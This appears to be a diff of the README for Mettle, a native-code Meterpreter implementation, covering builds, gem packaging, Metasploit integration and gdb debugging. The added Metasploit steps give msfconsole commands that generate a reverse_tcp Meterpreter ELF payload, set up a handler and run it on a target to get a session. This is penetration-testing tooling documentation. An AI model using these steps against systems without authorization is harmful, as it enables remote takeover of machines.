1- Mettle
2- ======
1+ # Mettle
32
4- This is an implementation of a native-code Meterpreter, designed for
5- portability, embeddability, and low resource utilization. It can run on the
6- smallest embedded Linux targets to big iron, and targets Android, iOS, macOS,
7- Linux, and Windows, but can be ported to almost any POSIX-compliant
8- environment.
3+ This is an implementation of a native-code Meterpreter, designed for portability, embeddability, and low resource
4+ utilization. It can run on the smallest embedded Linux targets to big iron, and targets Android, iOS, macOS, Linux, and
5+ Windows, but can be ported to almost any POSIX-compliant environment.
96
10- Building on Linux
11- ------------
7+ ## Building on Linux
128
13- Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and the following packages available:
9+ Debain, Ubuntu, and derivatives are most supported for builds. To build, you need at least 5GB of free disk space, and
10+ the following packages available:
1411
1512```
1613# Dependencies
1714apt install curl build-essential git autoconf automake libtool bison flex gcc ruby rake bundler git mingw-w64
1815```
1916
20- The Dockerfile under docker/Dockerfile contains a pre-configured build
21- environment as well.
17+ The Dockerfile under docker/Dockerfile contains a pre-configured build environment as well.
2218
23- Building on macOS
24- ------------
19+ ## Building on macOS
2520
2621On macOS you will need to install the xcode command line tools as follows:
2722
2823```
2924xcode-select --install
3025```
3126
32- Make Targets
33- ------------
27+ ## Make Targets
3428
3529For general development, there are a few make targets defined:
3630
37- Running ` make ` will build for the local environment. E.g. if you're on macOS,
38- it will build for macOS using your native compiler and tools.
31+ Running ` make ` will build for the local environment. E.g. if you're on macOS,it will build for macOS using your native
32+ compiler and tools.
3933
40- ` make TARGET=triple ` will build for a specific host triple. See below for some
41- common ones.
34+ ` make TARGET=triple ` will build for a specific host triple. See below for some common ones.
4235
4336` make clean ` will clean the 'mettle' directory for the current build target
4437
@@ -48,8 +41,7 @@ common ones.
4841
4942` make clean-parallel ` and ` make distclean-parallel ` do similar for all targets.
5043
51- Packaging
52- =========
44+ # Packaging
5345
5446To build the gem for distribution (currently requires Linux or macOS):
5547
@@ -69,8 +61,7 @@ To completely reset your dev environment and delete all binary artifacts:
6961rake mettle:ultraclean
7062```
7163
72- Gem API
73- -------
64+ ## Gem API
7465
7566To generate a payload with Mettle:
7667``` ruby
@@ -91,15 +82,14 @@ The available platform triples for Linux targets are:
9182* ` mips64-linux-muslsf `
9283* ` s390x-linux-musl `
9384
94- For Mingw32-64 Windows targets, the following triples are added. On up-to-date
95- Debian / Ubuntu systems, the ` mingw-w64 ` package will install both toolchains.
85+ For Mingw32-64 Windows targets, the following triples are added. On up-to-date Debian / Ubuntu systems, the ` mingw-w64 `
86+ package will install both toolchains.
9687
9788* ` x86_64-w64-mingw32 `
9889* ` i686-w64-mingw32 `
9990
100- For macOS/iOS builds, the following triples are added. To target older macOS/OSX
101- versions, see https://github.com/phracker/MacOSX-SDKs to get the appropriate
102- SDK folder.
91+ For macOS/iOS builds, the following triples are added. To target older macOS/OSX versions, see
92+ https://github.com/phracker/MacOSX-SDKs to get the appropriate SDK folder.
10393
10494* ` arm-iphone-darwin `
10595* ` aarch64-iphone-darwin `
@@ -129,24 +119,110 @@ The formats are:
129119* ` :process_image ` - a process image that must be started with a custom stack (see ` doc/stack_requirements.md ` )
130120
131121
132- Using with Metasploit
133- ---------------------
122+ ## Using with Metasploit
134123
135124To pull your local changes of mettle into your Metasploit install:
136125
137- 1 . Add ` -dev ` to the version in ` lib/metasploit_payloads/mettle/version.rb `
138- 2 . Build the gem as above
126+ 1 . Add ` -dev ` to the version in ` lib/metasploit_payloads/mettle/version.rb ` :
127+ ```
128+ # -*- coding:binary -*-
129+ module MetasploitPayloads
130+ VERSION = '1.0.28-dev'
131+
132+ def self.version
133+ VERSION
134+ end
135+ end
136+ ```
137+ 2 . Build the gem with:
138+ ```
139+ ~/code/mettle$ rake build
140+ => metasploit_payloads-mettle 1.0.28.pre.dev built to pkg/metasploit_payloads-mettle-1.0.28.pre.dev.gem.
141+ ```
1391423 . Copy ` pkg/metasploit-payloads-mettle-X.X.X.pre.dev.gem ` to the box you are using for Metasploit if it is different
140- 4 . Change the version in your metasploit-framework.gemspec to match the one you just built
143+ 4 . Change the version in your ` metasploit-framework.gemspec ` to match the one you just built:
144+ ```
145+ spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.28-dev'
146+ ```
1411475 . ` gem install <path to new gem> ` (for example: 'metasploit_payloads-mettle', '0.4.1.pre.dev')
142- 6 . Run ` bundle install ` in your Framework directory, and ensure you see something like ` Using metasploit_payloads-mettle 0.4.1.pre.dev (was 0.4.1) ` in the output
143- 7 . Congrats, you are now done!
148+ ```
149+ gem install metasploit_payloads-mettle-1.0.28.pre.dev.gem
150+ ```
151+ 6 . Run ` bundle install ` in your Framework directory, and ensure you see something like the following in the output:
152+ ```
153+ Using metasploit_payloads-mettle 1.0.28.pre.dev (was 1.0.26)
154+ ```
155+
156+ Within ` msfconsole ` :
157+ 7 . Use an appropriate payload:
158+ ```
159+ use payload/linux/x64/meterpreter/reverse_tcp
160+ ```
161+
162+ 8 . Generate the payload:
163+ ```
164+ generate -f elf -o mettle.elf
165+ ```
166+
167+ 9 . Change the file permissions:
168+
169+ ```
170+ chmod +x mettle.elf
171+ ```
172+
173+ 10 . Set up a handler
174+ ```
175+ to_handler
176+ ```
177+
178+ 11 . Move the payload to the target machine and run it, you should now get back a session on ` msfconsole ` !
179+
180+
181+ ## Docker
182+ The following steps make use of ` gdb ` for debugging.
183+ 1 . Run the Docker container:
184+ ```
185+ sudo docker run -it -v $(pwd):$(pwd) -w $(pwd) rapid7/build:mettle /bin/bash
186+ ```
187+
188+ 2 . Within the container run the following commands:
189+ ```
190+ sudo apt-get update
191+ sudo apt-get install gdb
192+ ```
193+
194+ 3 . Compile(` D=1 ` enables debugging):
195+ ```
196+ make clean
197+
198+ make D=1
199+ ```
200+
201+ 4 . Then run with ` gdb ` :
202+ ```
203+ gdb --args /home/ubuntu/code/mettle/build/linux.x86_64/bin/mettle --debug 3 --uri "tcp://192.168.175.1:4444"
204+ ```
205+
206+ 5 . Once within ` gdb ` run the following commands:
207+ ```
208+ b *main
209+
210+ run
211+ ```
212+
213+ 6 . To get breakpoint in ` gbd ` add the following into your code:
214+ ```
215+ __asm("int3");
216+ ```
217+
218+ ### TUI
219+ [ TUI] ( https://sourceware.org/gdb/current/onlinedocs/gdb.html/TUI.html ) allows ` gdb ` to show the code above the terminal
220+ for easier code traversal when debugging. _ Note_ TUI will remove use of arrows for navigating console history.
221+
222+ ## Pushing out a New Gem
144223
145- Pushing out a New Gem
146- ----------------------
147224Build CI will automatically publish new gems when commits land to master and pass build.
1482251 . Test Locally
1492262 . Land the changes to upstream master
1502273 . Monitor for the new gem on rubygems.org
1512284 . Once the gem appears, make a PR for bumping the version in framework
152-
0 commit comments